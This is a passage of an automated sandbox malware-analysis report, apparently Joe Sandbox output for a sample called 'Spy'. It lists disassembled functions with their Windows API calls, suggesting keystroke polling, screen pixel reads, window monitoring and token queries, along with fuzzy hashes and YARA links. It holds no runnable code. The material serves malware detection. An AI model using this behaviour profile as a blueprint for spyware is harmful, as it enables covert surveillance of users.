RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00B0079C
RegEnumKeyExW.ADVAPI32(?,-00000001,?,?,00000000,00000000,00000000,?), ref: 00B007E3
RegCloseKey.ADVAPI32(?,?), ref: 00B0080F
RegCloseKey.ADVAPI32(00000000), ref: 00B0081C

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: Close$BuffCharConnectEnumOpenRegistryUpper_memmove
String ID:
API String ID: 3440857362-0
Opcode ID: a718e0c02b4d4cc455a7c94385c6dbee1e2ecf20362dbef2686a7ff7155d81b9
Instruction ID: 23fd003b36390aed1366f480d901e21cb5e67fc74f68f9ba42044d8d3b6b5fb1
Opcode Fuzzy Hash: a718e0c02b4d4cc455a7c94385c6dbee1e2ecf20362dbef2686a7ff7155d81b9
Instruction Fuzzy Hash: F7516A71218205AFC704EF64C981FAABBE9FF88304F40895DF596872A1EB30ED04CB52

Function 00AEEBB4 Relevance: 7.6, APIs: 5, Instructions: 135COMMON

Download Yara Rule

APIs

GetPrivateProfileSectionW.KERNEL32(00000003,?,00007FFF,?), ref: 00AEEC62
GetPrivateProfileSectionW.KERNEL32(?,00000001,00000003,?), ref: 00AEEC8B
WritePrivateProfileSectionW.KERNEL32(?,?,?), ref: 00AEECCA

Part of subcall function 00A84D37: __itow.LIBCMT ref: 00A84D62
Part of subcall function 00A84D37: __swprintf.LIBCMT ref: 00A84DAC

WritePrivateProfileStringW.KERNEL32(00000003,00000000,00000000,?), ref: 00AEECEF
WritePrivateProfileStringW.KERNEL32(00000000,00000000,00000000,?), ref: 00AEECF7

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: PrivateProfile$SectionWrite$String$__itow__swprintf
String ID:
API String ID: 1389676194-0
Opcode ID: e788e2e38ed1f839617d95cc2a694d30a04f83ce509f6b495fbd113ff687b82e
Instruction ID: c7409af63e3bbe9d49ce873eea889a85985b085d50e0c1b81f6f58d0937a00af
Opcode Fuzzy Hash: e788e2e38ed1f839617d95cc2a694d30a04f83ce509f6b495fbd113ff687b82e
Instruction Fuzzy Hash: 45512A35A00119DFCB01EF65CA85EAEBBF5EF0D314B148099E809AB3A1DB31ED51DB90

Function 00B0A67B Relevance: 7.6, APIs: 5, Instructions: 130COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d139672f6ed9359fb1c9d41f4c10e2810698019814564e562e0c785fadb86ddc
Instruction ID: c9f8ed7ade3041d236902078cc357ce16913d4d56c387c8605e2b8769ee2d179
Opcode Fuzzy Hash: d139672f6ed9359fb1c9d41f4c10e2810698019814564e562e0c785fadb86ddc
Instruction Fuzzy Hash: F641D035904214AFD720DB28CC88FA9BFF8EB09310F5489A5F916A72D1CB70AD41DA91

Function 00A82714 Relevance: 7.6, APIs: 5, Instructions: 111keyboardCOMMON

Download Yara Rule

APIs

GetCursorPos.USER32(?), ref: 00A82727
ScreenToClient.USER32(00B477B0,?), ref: 00A82744
GetAsyncKeyState.USER32(00000001), ref: 00A82769
GetAsyncKeyState.USER32(00000002), ref: 00A82777

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: AsyncState$ClientCursorScreen
String ID:
API String ID: 4210589936-0
Opcode ID: 91765a0ba9bf56245010c50d45fc1f572c7b0f0526bb3339782c118c0d484be2
Instruction ID: c3b8855ecbb31b9226bc472da62046e87461ec0baf1d074ec6598700f89f1d89
Opcode Fuzzy Hash: 91765a0ba9bf56245010c50d45fc1f572c7b0f0526bb3339782c118c0d484be2
Instruction Fuzzy Hash: EE416C75504119FFDF15AF69C844EE9BBB8BB05334F50835AF82896291CB30ADA0DB91

Function 00AD95D7 Relevance: 7.6, APIs: 5, Instructions: 89sleepwindowCOMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 00AD95E8
PostMessageW.USER32(?,00000201,00000001), ref: 00AD9692
Sleep.KERNEL32(00000000,?,00000201,00000001,?,?,?), ref: 00AD969A
PostMessageW.USER32(?,00000202,00000000), ref: 00AD96A8
Sleep.KERNEL32(00000000,?,00000202,00000000,?,?,00000201,00000001,?,?,?), ref: 00AD96B0

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: MessagePostSleep$RectWindow
String ID:
API String ID: 3382505437-0
Opcode ID: 2d90125b901a0c8a518610768ebe036e075a11daa472d98feaac167b8ba57d07
Instruction ID: 45a5067ec412803f47c72d88cc31fb3ee7a4ddc4e4985759950be425b86cd93f
Opcode Fuzzy Hash: 2d90125b901a0c8a518610768ebe036e075a11daa472d98feaac167b8ba57d07
Instruction Fuzzy Hash: C931CC71900219EFDB14CF68D94CADE3BB5FB44315F10822AF926AB2D0C7B0D964DB90

Function 00ADBD85 Relevance: 7.6, APIs: 5, Instructions: 88windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 00ADBD9D
SendMessageW.USER32(?,0000000E,00000000,00000000), ref: 00ADBDBA
SendMessageW.USER32(?,0000000D,00000001,00000000), ref: 00ADBDF2
CharUpperBuffW.USER32(00000000,00000000,?,?,?,?), ref: 00ADBE18
_wcsstr.LIBCMT ref: 00ADBE22

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: MessageSend$BuffCharUpperVisibleWindow_wcsstr
String ID:
API String ID: 3902887630-0
Opcode ID: 967a03194390b26f301a261087441322e175b86dd0c8b0b398593ea6255a4c04
Instruction ID: 80e2bfb6f9bdfd9b73446817e5a6e1cb1e2b8a410604e1a807ab1951c0507393
Opcode Fuzzy Hash: 967a03194390b26f301a261087441322e175b86dd0c8b0b398593ea6255a4c04
Instruction Fuzzy Hash: 8021F932614204FFEB255B399C49EBB7BADDF45760F11802AF90ADB291EF61DC509270

Function 00B0B7BD Relevance: 7.6, APIs: 5, Instructions: 85COMMON

Download Yara Rule

APIs

Part of subcall function 00A829E2: GetWindowLongW.USER32(?,000000EB), ref: 00A829F3

GetWindowLongW.USER32(?,000000F0), ref: 00B0B804
SetWindowLongW.USER32(00000000,000000F0,00000001), ref: 00B0B829
SetWindowLongW.USER32(00000000,000000EC,000000FF), ref: 00B0B841
GetSystemMetrics.USER32(00000004), ref: 00B0B86A
SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000047,?,?,?,?,?,?,?,00AF155C,00000000), ref: 00B0B888

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: Window$Long$MetricsSystem
String ID:
API String ID: 2294984445-0
Opcode ID: 245445fd87a17e92e5c3839806f3b91a7ab3940e5eb873c6bc4380944f8d5c09
Instruction ID: 15d8e47e737ac5bf6d6f06e35c6651d1f90150b3a0963fe53618adcd74727aa8
Opcode Fuzzy Hash: 245445fd87a17e92e5c3839806f3b91a7ab3940e5eb873c6bc4380944f8d5c09
Instruction Fuzzy Hash: 4D219131A24215AFCB149F398C48F6A3BE9FB05724F148769F921D72E0DB708950CB80

Function 00AF6138 Relevance: 7.6, APIs: 5, Instructions: 70COMMON

Download Yara Rule

APIs

IsWindow.USER32(00000000), ref: 00AF6159
GetForegroundWindow.USER32 ref: 00AF6170
GetDC.USER32(00000000), ref: 00AF61AC
GetPixel.GDI32(00000000,?,00000003), ref: 00AF61B8
ReleaseDC.USER32(00000000,00000003), ref: 00AF61F3

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: Window$ForegroundPixelRelease
String ID:
API String ID: 4156661090-0
Opcode ID: f7db6851d03ee61f3c6cccc8443838fbec16001bbc211e59b00053fde1a7e89f
Instruction ID: 61ac99d6835c63bf98f6a379f3acdc7f6e51ae0effdf92858ed4999c46857449
Opcode Fuzzy Hash: f7db6851d03ee61f3c6cccc8443838fbec16001bbc211e59b00053fde1a7e89f
Instruction Fuzzy Hash: 1E21A175A00204AFD700EFA5DD84AAABBF9EF88350F04C469F94AD7352CE74AC40CB90

Function 00A816CF Relevance: 7.6, APIs: 5, Instructions: 67COMMON

Download Yara Rule

APIs

ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 00A81729
SelectObject.GDI32(?,00000000), ref: 00A81738
BeginPath.GDI32(?), ref: 00A8174F
SelectObject.GDI32(?,00000000), ref: 00A81778

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: ObjectSelect$BeginCreatePath
String ID:
API String ID: 3225163088-0
Opcode ID: 8cb1a03cc2020f6edac8ba59d8da58d2e9900f56b2880e16b2499f24f8cff946
Instruction ID: 1292f7c95c73068c30605fd8bd9a5d83a39e18ae59b0bba78c38f7fbfd67c380
Opcode Fuzzy Hash: 8cb1a03cc2020f6edac8ba59d8da58d2e9900f56b2880e16b2499f24f8cff946
Instruction Fuzzy Hash: 7F219034814208EBDB10EF6ADD48BA97BACF701321F14422AF855971A0DFB09A92CF90

Function 00ADC837 Relevance: 7.6, APIs: 5, Instructions: 61COMMON

Download Yara Rule

APIs

_memcmp.LIBCMT ref: 00ADC84C
_memcmp.LIBCMT ref: 00ADC86A
_memcmp.LIBCMT ref: 00ADC87D
_memcmp.LIBCMT ref: 00ADC895
_memcmp.LIBCMT ref: 00ADC8AD

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: _memcmp
String ID:
API String ID: 2931989736-0
Opcode ID: 9251d0c5304f8c771dc89b6723b507fb002e5606113ecfc29594f813e35ded54
Instruction ID: d0674d4143885b1eddd32edde9c75990aa6cb869bba9b885f1077a10d6c13e7e
Opcode Fuzzy Hash: 9251d0c5304f8c771dc89b6723b507fb002e5606113ecfc29594f813e35ded54
Instruction Fuzzy Hash: B401D272A442063BD60466109E82FEF73ACDA217A4F544126FE07D7382F760DE10E2E0

Function 00AE504E Relevance: 7.6, APIs: 5, Instructions: 56synchronizationthreadwindowCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00AE5075
__beginthreadex.LIBCMT ref: 00AE5093
MessageBoxW.USER32(?,?,?,?), ref: 00AE50A8
WaitForSingleObject.KERNEL32(00000000,000000FF,?,?,?,?), ref: 00AE50BE
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 00AE50C5

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: CloseCurrentHandleMessageObjectSingleThreadWait__beginthreadex
String ID:
API String ID: 3824534824-0
Opcode ID: c6a2cb0eed69e96a026a3b0d38b9ddaecf5384b02095865fd477da0d6c36c0ba
Instruction ID: fe4d9d52615985c58f5758798b7e7dce99213db2d33d59035ccedc8d42a6b1a1
Opcode Fuzzy Hash: c6a2cb0eed69e96a026a3b0d38b9ddaecf5384b02095865fd477da0d6c36c0ba
Instruction Fuzzy Hash: DC110476D08748BFC7019FB9AC04ADB7BACAB46324F54425AF814D3390DBB58A408BF0

Function 00AD8E20 Relevance: 7.5, APIs: 5, Instructions: 49memoryCOMMON

Download Yara Rule

APIs

GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 00AD8E3C
GetLastError.KERNEL32(?,00AD8900,?,?,?), ref: 00AD8E46
GetProcessHeap.KERNEL32(00000008,?,?,00AD8900,?,?,?), ref: 00AD8E55
HeapAlloc.KERNEL32(00000000,?,00AD8900,?,?,?), ref: 00AD8E5C
GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 00AD8E73

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: HeapObjectSecurityUser$AllocErrorLastProcess
String ID:
API String ID: 842720411-0
Opcode ID: 06704c129d1e7eaac5c95fb70869784ac3f169f2bb16975f57dc945b15bbae1b
Instruction ID: efe9a11bf997c7a3667697ca197377c1f19bf2796b40e7517968755a17df54ad
Opcode Fuzzy Hash: 06704c129d1e7eaac5c95fb70869784ac3f169f2bb16975f57dc945b15bbae1b
Instruction Fuzzy Hash: A8016D70210204BFDB205FA6DC48DAB7BBDEF89354B50452AF949C3220DE75DC50CA60

Function 00AE57FF Relevance: 7.5, APIs: 5, Instructions: 48sleepCOMMON

Download Yara Rule

APIs

QueryPerformanceCounter.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 00AE581B
QueryPerformanceFrequency.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 00AE5829
Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?), ref: 00AE5831
QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 00AE583B
Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 00AE5877

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: PerformanceQuery$CounterSleep$Frequency
String ID:
API String ID: 2833360925-0
Opcode ID: 2f167f80f43b134bc5990b19eca65732ec3b173171e86bb0cb6c8804d5459342
Instruction ID: 1a40e382d76f2e35e9ed51b8f0c3915b46440a96824200de4e27cfc53be3f335
Opcode Fuzzy Hash: 2f167f80f43b134bc5990b19eca65732ec3b173171e86bb0cb6c8804d5459342
Instruction Fuzzy Hash: FB015731C11A1DABCF10AFFAE9489EDBBB8BB08715F408156E501F3140CF7495A0DBA1

Function 00AD7D28 Relevance: 7.5, APIs: 5, Instructions: 48stringCOMMON

Download Yara Rule

APIs

CLSIDFromProgID.OLE32(?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00AD7C62,80070057,?,?,?,00AD8073), ref: 00AD7D45
ProgIDFromCLSID.OLE32(?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00AD7C62,80070057,?,?), ref: 00AD7D60
lstrcmpiW.KERNEL32(?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00AD7C62,80070057,?,?), ref: 00AD7D6E
CoTaskMemFree.OLE32(00000000,?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00AD7C62,80070057,?), ref: 00AD7D7E
CLSIDFromString.OLE32(?,?,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00AD7C62,80070057,?,?), ref: 00AD7D8A

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: From$Prog$FreeStringTasklstrcmpi
String ID:
API String ID: 3897988419-0
Opcode ID: eeda93229d452f24f010c9f22bca902e50629a859f8b6ed0a5903bb9de3eeb26
Instruction ID: 1b6207aaaab4ff5e915aa6ad11ef896abce3eb52c69d9cb3d7f235b65b675086
Opcode Fuzzy Hash: eeda93229d452f24f010c9f22bca902e50629a859f8b6ed0a5903bb9de3eeb26
Instruction Fuzzy Hash: 0901BC76615219ABCB105F58DC04BAE7BBEEF44352F508025F84AD7210EBB1EE40CBA0

Function 00AD8CC7 Relevance: 7.5, APIs: 5, Instructions: 45memoryCOMMON

Download Yara Rule

APIs

GetTokenInformation.ADVAPI32(?,00000002,?,00000000,?), ref: 00AD8CDE
GetLastError.KERNEL32(?,00000002,?,00000000,?), ref: 00AD8CE8
GetProcessHeap.KERNEL32(00000008,?,?,00000002,?,00000000,?), ref: 00AD8CF7
HeapAlloc.KERNEL32(00000000,?,00000002,?,00000000,?), ref: 00AD8CFE
GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?,?,00000002,?,00000000,?), ref: 00AD8D14

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: HeapInformationToken$AllocErrorLastProcess
String ID:
API String ID: 44706859-0
Opcode ID: 79b3bdafe52cf6bc47929c36813734b0a607ce1e4b1bf09adb4a3a6b1c214f29
Instruction ID: f6845c93d7972d7bdf2fc598c844a2773ae8458352662076c0a488591aafad42
Opcode Fuzzy Hash: 79b3bdafe52cf6bc47929c36813734b0a607ce1e4b1bf09adb4a3a6b1c214f29
Instruction Fuzzy Hash: CEF0AF34210208BFEB101FA59C8CFA73BADFF49754B508026F945C7290CEA49C80DB60

Function 00AD8D28 Relevance: 7.5, APIs: 5, Instructions: 45memoryCOMMON

Download Yara Rule

APIs

GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),?,00000000,?), ref: 00AD8D3F
GetLastError.KERNEL32(?,TokenIntegrityLevel,?,00000000,?), ref: 00AD8D49
GetProcessHeap.KERNEL32(00000008,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00AD8D58
HeapAlloc.KERNEL32(00000000,?,TokenIntegrityLevel,?,00000000,?), ref: 00AD8D5F
GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),00000000,?,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00AD8D75

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: HeapInformationToken$AllocErrorLastProcess
String ID:
API String ID: 44706859-0
Opcode ID: a3256045ca4e800a97ffc8310c5ff74408689f8eacbde0316978116946671790
Instruction ID: db4206b66ccf91c6b42a8bd6e4714224c97250ebdfd3de05708c114b171025f3
Opcode Fuzzy Hash: a3256045ca4e800a97ffc8310c5ff74408689f8eacbde0316978116946671790
Instruction Fuzzy Hash: F7F0AF30250204BFEB111FA5EC88FA73BADEF49754F444116F986C7290CFA49E80DB60

Function 00ADCD7C Relevance: 7.5, APIs: 5, Instructions: 41windowtimeCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003E9), ref: 00ADCD90
GetWindowTextW.USER32(00000000,?,00000100), ref: 00ADCDA7
MessageBeep.USER32(00000000), ref: 00ADCDBF
KillTimer.USER32(?,0000040A), ref: 00ADCDDB
EndDialog.USER32(?,00000001), ref: 00ADCDF5

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: BeepDialogItemKillMessageTextTimerWindow
String ID:
API String ID: 3741023627-0
Opcode ID: ae627548d44444e2ec911ae4bfe943b679c1b76d50f6a7f650294681855bdf16
Instruction ID: 7cbd0687e916d4092b9e6ea74033ee2909a34e935de60c39ffb6429d138cba55
Opcode Fuzzy Hash: ae627548d44444e2ec911ae4bfe943b679c1b76d50f6a7f650294681855bdf16
